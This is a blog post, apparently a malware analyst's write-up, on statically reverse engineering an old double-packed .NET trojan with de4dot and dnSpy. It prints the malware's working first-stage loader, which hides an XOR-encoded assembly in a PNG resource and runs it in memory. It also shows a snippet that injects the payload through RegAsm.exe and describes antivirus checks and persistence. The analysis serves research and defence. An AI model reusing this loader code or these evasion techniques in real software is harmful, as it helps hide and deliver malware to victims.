mercoledì 20 febbraio 2019

Double packed .net Malware: PNG obfuscation, resources Deobfuscation, On The Fly compiling, de4dot tricks to make a static analysis a bit easier

Hi Everybody!
I was searching another specific malware when I found this (old) .net malware.
My sick brain spoke to me: "ok, take a look on it...it's just an old shitty .net malware... give him just 5 minutes to have fun...".
I also gave myself a condition: "Only a static analysis." No debugging.
Bad thoughts tho...   😆😆
MD5: f4825dde80a45a6732972fac63536427

As often happen, the executable is obfuscated with an unknown packer, with a de4dot I tried to make it more readable. As expected a paritially successful.


Csharpcodeprovider?! Awesome, the exe is going to compile some stuff on the fly? Super nice!
Let's see what:
The first thought was "damn!" meanwhile the next one has been "ok, that's cool! I can use de4dot and show what a beautiful swiss knife this tool is!" and that's why i wrote this article right now :D
From the last picture, we know that the string is being decrypted by the function Class4.smethod_0(string obfuscated)
we can use de4dot in order to redirect the string decryption with a specific method(s).
On the top of each method, dnSpy give us very useful informations.
In fact for the Class4.smethod_0 the token is 0x06000012 and this is all what we need to tell de4dot which method must be used to decrypt the strings :

de4dot.exe exe-cleaned.exe  --strtyp delegate --strtok 0x06000012

actually we could also specify the name of a method, or a class instead of the token/tokens is you have few string decrypting methods btw de4dot has created a new "cleaned" exe and did the magic! :)


A "beautify" at the code and the result is:

using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Threading;
using System.Runtime.InteropServices;
using System.Drawing;

namespace JuSgVBuovzYy
{
    public class s{public void S(){
long t = 13251669318194000;  
} } 

    class Program
    {
 
 static string KGayyirMPMBEn =  "#pass# ";           // Replace(string.Format("#pass#", new object[0]), "BbyCUtnNaEHs");
 private static byte[] MXwUZZu(byte[] bytes)                                     // XOR deobfuscation
 {
 byte[] byteArray = Encoding.Unicode.GetBytes(KGayyirMPMBEn);
 for (int i = 0; i < bytes.Length; i++)
 {
 bytes[i] ^= byteArray[i % 16];
 }
 return bytes;
 }
         
         private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)
 {
 int l = b.Width;
 int n = l * l * 4;
 byte[] buff = new byte[n];
 int k = 0;
 
 for (int x = 0; x < l; x++)
 {
 for (int y = 0; y < l; y++)
 {
 Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);
 k += 4;
 }
 }
 int len = BitConverter.ToInt32(buff, 0);
 byte[] f = new byte[len];
 Buffer.BlockCopy(buff, 4, f, 0, f.Length);
 return f;
 }
         
         
         static byte[] wgFiR;
         public static void sJcPIRKPgLsbJnPB()
         {
             Assembly.Load(wgFiR).EntryPoint.Invoke(null, new object[] { new string[] { } });
         }
         
         [DllImport( "kernel32.dll ")]
         static extern IntPtr FindResource(IntPtr hModule, IntPtr lpName, IntPtr lpType);
         
         [DllImport( "kernel32.dll ", SetLastError=true)]
         static extern uint SizeofResource(IntPtr hModule, IntPtr hResInfo);
         
         [DllImport( "kernel32.dll ", SetLastError=true)]
         static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);
         
         [DllImport( "kernel32.dll ")]
         static extern IntPtr LockResource(IntPtr hResData);
         
 
         public static Bitmap Byte2Image(byte[] img)
 {
 using (var stream = new MemoryStream(img))
 {
 return new Bitmap(stream);
 }
 }
         
 static void Main()
 {
 try
 {        
                 IntPtr fResource = FindResource(new IntPtr(0), new IntPtr(106), new IntPtr(23));   //IntPtr(23) --> HTML http://www.pinvoke.net/default.aspx/kernel32.EnumResourceNames
                 uint sResource = SizeofResource(new IntPtr(0), fResource);
                 IntPtr lResource = LoadResource(new IntPtr(0), fResource);
                 IntPtr dResource = LockResource(lResource);
                 
                 wgFiR = new byte[sResource];
                 System.Runtime.InteropServices.Marshal.Copy(dResource, wgFiR, 0, System.Convert.ToInt32(sResource));
                 wgFiR = MXwUZZu(ConvertFromBmp(Byte2Image(wgFiR)));                                                     //wgFiR extract the image from bytes, convert png to bmp, deobfuscate it
                 
                 System.Threading.Thread thr = new System.Threading.Thread(sJcPIRKPgLsbJnPB);                            // load wgFiR assembly and run the thread
                 thr.Start();
 }
 catch
 {
 
 }
 }
    }
     
     public class k{public void B(){
 long l = 13251669318194000;  
 } } 
 } 

This malware is starting to be interesting :)
In this code the steps are just a few:
1) grab the PNG resource (HTML:106) from itself by using winapi calls
2) convert it as Bitmap ( because of side use of the Bitmap constructor, "stream contains a PNG image file with a single dimension greater than 65,535 pixels." More details on msdn documentation.)
3) do a deobfuscation by a xor and the key due to the "String.replace" (look at the first picture)
4) a new Thread is started.
I am a curious and stubborn person so, since I had it, I've adapted the code to do the deobfuscation:

using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Threading;
using System.Runtime.InteropServices;
using System.Drawing;

namespace bitmapstream
{
 class Program
 {
  public static void Main(string[] args)
  {
   
   
   
   File.WriteAllBytes("./out_deobf.bin",MXwUZZu(ConvertFromBmp(Byte2Image(File.ReadAllBytes("./respng.png")))));  //complete deobfuscation
   
   
   
   Console.Write("Press any key to continue . . . ");
   Console.ReadKey(true);
  }
  
  static string KGayyirMPMBEn =  "BbyCUtnNaEHs";           // Replace(string.Format("#pass#", new object[0]), "BbyCUtnNaEHs");
 private static byte[] MXwUZZu(byte[] bytes)                                     // XOR deobfuscation
 {
 byte[] byteArray = Encoding.Unicode.GetBytes(KGayyirMPMBEn);
 for (int i = 0; i < bytes.Length; i++)
 {
 bytes[i] ^= byteArray[i % 16];
 }
 return bytes;
 }
  public static Bitmap Byte2Image(byte[] img)
 {
 using (var stream = new MemoryStream(img))
 {
 return new Bitmap(stream);
 }
 }
  
  
  private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)
 {
 int l = b.Width;
 int n = l * l * 4;
 byte[] buff = new byte[n];
 int k = 0;
 
 for (int x = 0; x < l; x++)
 {
 for (int y = 0; y < l; y++)
 {
 Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);
 k += 4;
 }
 }
 int len = BitConverter.ToInt32(buff, 0);
 byte[] f = new byte[len];
 Buffer.BlockCopy(buff, 4, f, 0, f.Length);
 return f;
 }
 }
} 

By having the deobfuscated .net exe, the first packing step has passed.
Let's take a look at the new executable: 
From the images to "songs"?! Funny! 😒
Each song* function returns a specific resource (look below) which are obfuscated. To do the obfuscation, decryptBytes is called. Looks the code familiar?


Yes, same algo previously used! 👀
Ok, adapting the code used before by setting a new decryption string key which in this case is "QTlxEzZLPcZJ" and modifying the main method with a for loop like that:

    for(int i=0;i<3;i++)
            {
                File.WriteAllBytes("./out_"+i+".bin",MXwUZZu(File.ReadAllBytes("./song_"+i)));
        
            }

we got all the new 3 resources deobfuscated:
song--> resource named "Rj[...]"
song2--> resource named "vt.[...]"
song3--> resource named "mg[..]"

Starting from the biggest one, which is song3 aka "FortniteHack" related new executable  which is invoked (look at 2 images before) do NOTHING, except creating a (supposedly) "pretty" UI 👼


On the contrary, Song is not executed immediately, but passed as Byte array invoking the song2 method named "run" :   song2dll.run(text3,"", byte[] song ,true)

            object target = Activator.CreateInstance(type);
            string text3 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe";
            if (!File.Exists(text3))
            {
                text3 = Program.revert(text3);
            }
            type.InvokeMember("run", BindingFlags.InvokeMethod, null, target, new object[]
            {
                text3,
                "",
                Program.decryptBytes(bytes),
                true
            });


The song2 is actually a tiny obfuscated dll, and it hides a couple of interesting things that I would like to share.
The run function contains some other kind of strings obfuscation which makes the dll interesting!
We learned before how to make a custom decryption by using de4dot. It's time to do it again!

if (!flag && path.Contains(7pw8VD2Y.mGjZYF4F(216 + 1)))
mGjZYF4F is the string decryptor, so once we got the token 0x06000051 we can use de4dot as before:

de4dot.exe "song2.dll" --strtyp delegate --strtok 0x06000051

A very cool trick to resolve obfuscated strings, isn't it?! 😋This dll do nothing more than check for some AV before to start the malware core, which is the string3 PE x86 executable
If "everything is fine" the real run's core job is:

Calling Kernel32.CreateProcessA api function to run the previous song3 malware.

By using IDA Pro to dig into the song3 PE file (Visual C/C++ compiler), the core malware dynamically loads libraries (tipically useless malware behaviour to make RE a bit harder), also checks the antivirus presence, set his own persistance, contact some urls and share informations about av, hardware id, ip address (by checkip.amazonaws.com) and contact an tor url through a proxy (not reachable url).
This looks to be a Trojan Johnnie.Generic no longer active.




I hope the use of de4dot's decrypting string can help. 👋

Cheers,
RE Solver

Nessun commento:

Posta un commento